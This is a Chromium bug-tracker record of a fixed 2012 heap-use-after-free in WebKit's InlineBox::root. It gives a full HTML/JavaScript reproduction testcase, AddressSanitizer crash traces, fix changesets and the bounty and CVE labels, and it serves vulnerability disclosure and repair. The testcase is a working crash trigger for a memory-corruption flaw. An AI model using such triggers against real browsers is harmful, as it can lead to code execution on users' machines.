New issue
Advanced search Search tips
Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Mar 2012
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment

Heap-use-after-free in WebCore::InlineBox::root

Reported by miau...@gmail.com, Mar 11 2012

Issue description

This template is ONLY for reporting security bugs. Please use a different
template for other types of bug reports.
VULNERABILITY DETAILS

like 113902 but not fixed

VERSION
Chrome Version: dev (and others)


Chromium	19.0.1067.0 (Developer Build 126075)
OS	Linux
WebKit	536.3 (trunk@110387)
JavaScript	V8 3.9.13

Operating System: 64bit ubuntu

REPRODUCTION CASE
<html>
  <head>
    <style>
      #el1 {
        -webkit-appearance: list-button; 
      }
      #el2 {
        height: 1px; 
      }
      #el3 {
        width: 100px;
      }
    </style>
    <script>
      onload =  function() {
        el0 = document.createElement('div') 
        document.body.appendChild(el0) 
        el1 = document.createElement('div') 
        el1.setAttribute('id', 'el1') 
        el0.appendChild(el1) 
        el0.appendChild(document.createTextNode('A')) 
        el2 = document.createElement('div') 
        el2.setAttribute('id', 'el2') 
        el1.appendChild(el2) 
        el3 = document.createElement('div') 
        el3.setAttribute('id', 'el3') 
        el1.appendChild(el3) 
        el3.appendChild(document.createTextNode('A')) 
        el0.style.display='table-caption' 
        el1.style.display='table-footer-group' 
        el2.style.display='run-in'
        el3.style.display='inline'
        document.designMode='on'
        document.execCommand('selectall')
        document.execCommand('italic')
        el1.style.display='run-in'
        document.execCommand('removeFormat')
        document.execCommand('selectall')
        document.execCommand('italic')
        el1.style.display='table-row'
        document.body.offsetTop
        el3.style.display='block'
      }
    </script>
  </head>
  <body>
  </body>
</html>

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: renderer + asan
Crash State: 

==24495== ERROR: AddressSanitizer heap-use-after-free on address 0x7fffecb0ac98 at pc 0x55555aa10ba5 bp 0x7fffffff4300 sp 0x7fffffff42f8
READ of size 8 at 0x7fffecb0ac98 thread T0
    #0 0x55555aa10ba5 in WebCore::InlineBox::root() ???:0
    #1 0x55555aa2c7af in WebCore::InlineTextBox::localSelectionRect(int, int) ???:0
    #2 0x55555ad34953 in WebCore::RenderText::selectionRectForRepaint(WebCore::RenderBoxModelObject*, bool) ???:0

0x7fffecb0ac98 is located 24 bytes inside of 152-byte region [0x7fffecb0ac80,0x7fffecb0ad18)
freed by thread T0 here:
    #0 0x55555dd0db72 in free ??:0
    #1 0x55555ac533a5 in WebCore::RenderLineBoxList::deleteLineBoxes(WebCore::RenderArena*) ???:0
    #2 0x55555aadcecf in WebCore::RenderBlock::layoutInlineChildren(bool, int&, int&) ???:0
    #3 0x55555aa55cda in WebCore::RenderBlock::layoutBlock(bool, int, WebCore::RenderBlock::BlockLayoutPass) ???:0



 
24152.html
1.3 KB View Download
24152.txt
12.4 KB View Download
Summary: Heap-use-after-free in WebCore::InlineBox::root
Detailed report: https://cluster-fuzz.appspot.com/testcase?key=25480344

Uploader: inferno@chromium.org

Crash Type: Heap-use-after-free READ 8
Crash Address: 0x7fe4bcf64898
Crash State:
  - crash stack -
  WebCore::InlineBox::root
  WebCore::InlineTextBox::localSelectionRect
  - free stack -
  WebCore::RenderLineBoxList::deleteLineBoxes
  WebCore::RenderBlock::layoutInlineChildren
  

Minimized Testcase (1.29 Kb): https://cluster-fuzz.appspot.com/download/AMIfv95Jf9wGPQ6Px554K0u2dL8xak2X3S8Olj3sYevaoCSvZtjjnc5TT4CRrMJJT7nD8cu40ONjJ72jobeE-XySQW2XXRD2rviDBf7Fn85l3-PJKy0Gmz79nv_kGu-39SEz3MT8b0giLx1aFkXp99pKaUZ9nKGZ9w
Labels: -Pri-0 -Area-Undefined Pri-1 Area-WebKit SecImpacts-Stable SecImpacts-Beta OS-All Mstone-17 Stability-AddressSanitizer SecSeverity-High
Status: Available
This is completely different variant of 113902.
Labels: reward-topanel
Owner: infe...@chromium.org
Status: Started
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Merge-Approved
Status: FixUnreleased
http://trac.webkit.org/changeset/111899
Project Member

Comment 6 by ClusterFuzz, Mar 25 2012

ClusterFuzz has detected this issue as fixed in range 128665:128733.

Detailed report: https://cluster-fuzz.appspot.com/testcase?key=25480344

Uploader: inferno@chromium.org

Crash Type: Heap-use-after-free READ 8
Crash Address: 0x7fe4bcf64898
Crash State:
  - crash stack -
  WebCore::InlineBox::root
  WebCore::InlineTextBox::localSelectionRect
  - free stack -
  WebCore::RenderLineBoxList::deleteLineBoxes
  WebCore::RenderBlock::layoutInlineChildren
  
Fixed: https://cluster-fuzz.appspot.com/revisions?range=128665:128733

Minimized Testcase: https://cluster-fuzz.appspot.com/download/AMIfv95Jf9wGPQ6Px554K0u2dL8xak2X3S8Olj3sYevaoCSvZtjjnc5TT4CRrMJJT7nD8cu40ONjJ72jobeE-XySQW2XXRD2rviDBf7Fn85l3-PJKy0Gmz79nv_kGu-39SEz3MT8b0giLx1aFkXp99pKaUZ9nKGZ9w

If you suspect that the result above is incorrect, try re-doing that job on the testcase report page.
Labels: -Mstone-17 -Merge-Approved Mstone-18 Merge-Merged
M18: http://trac.webkit.org/changeset/112605
Labels: -reward-topanel reward-1000 reward-unpaid CVE-2011-3069
$1000 etc.
Labels: -reward-unpaid

Comment 10 by cdn@chromium.org, May 15 2012

Status: Fixed
Marking old security bugs Fixed..
Project Member

Comment 11 by bugdroid1@chromium.org, Oct 13 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Project Member

Comment 12 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Type-Security -Area-WebKit -SecImpacts-Stable -SecImpacts-Beta -Mstone-18 -Stability-AddressSanitizer -SecSeverity-High Cr-Content Security-Impact-Stable Security-Impact-Beta M-18 Performance-Memory-AddressSanitizer Type-Bug-Security Security-Severity-High
Project Member

Comment 13 by bugdroid1@chromium.org, Mar 13 2013

Labels: Restrict-View-EditIssue
Project Member

Comment 14 by bugdroid1@chromium.org, Mar 13 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member

Comment 16 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Severity-High Security_Severity-High
Project Member

Comment 17 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 18 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member

Comment 19 by bugdroid1@chromium.org, Apr 1 2013

Labels: -Performance-Memory-AddressSanitizer Stability-Memory-AddressSanitizer
Project Member

Comment 20 by bugdroid1@chromium.org, Apr 6 2013

Labels: -Cr-Content Cr-Blink
Project Member

Comment 21 by sheriffbot@chromium.org, Jun 14 2016

Labels: -security_impact-beta
Project Member

Comment 22 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 23 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Labels: CVE_description-submitted

Sign in to add a comment